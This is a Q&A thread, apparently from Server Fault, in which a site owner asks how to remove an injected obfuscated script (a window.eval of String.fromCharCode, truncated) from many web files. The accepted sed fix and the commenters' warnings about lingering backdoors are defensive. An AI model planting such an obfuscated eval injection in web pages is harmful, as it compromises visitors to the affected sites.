Replace Javascript malware code with empty string

Question

Possible Duplicate:
My server's been hacked EMERGENCY

I have following code in hundreds of my html and js files:

<script>/*km0ae9gr6m*/window.eval(String.fromCharCode(101,118,97,108,40,102,117............,41,59,10));/*qhk6sa6g1c*/</script

I need find and remove the above code using SED in bash. Just cannot figure out that how can i remove/replace string using sed, between a starting and specific ending string.

Thanks in advance

score 0 · Accepted Answer · answered Aug 10 '12 at 09:27

0

Nevermind. i got its solution just after posting the question :)

sed '/km0ae9gr6m/d' index.html

If above string portion is found, it will remove that line completely.

answered Aug 10 '12 at 09:27

Farhan

4,210
9
47
76

1

This really doesn't solve your problem as your server has been compromised and without wiping it an reinstalling from a known good backup you can't be sure there aren't more backdoors. – user9517 Aug 10 '12 at 09:35
i have already closed all backdoors, its just few files in the backup were infected. so had to clean them up/ – Farhan Aug 10 '12 at 09:49
1

WRONG. You've closed all the known backdoors, and disinfected the files you *know* were infected. It's the unknown unknowns that get you. – Tom O'Connor Aug 10 '12 at 10:51

Replace Javascript malware code with empty string

1 Answers1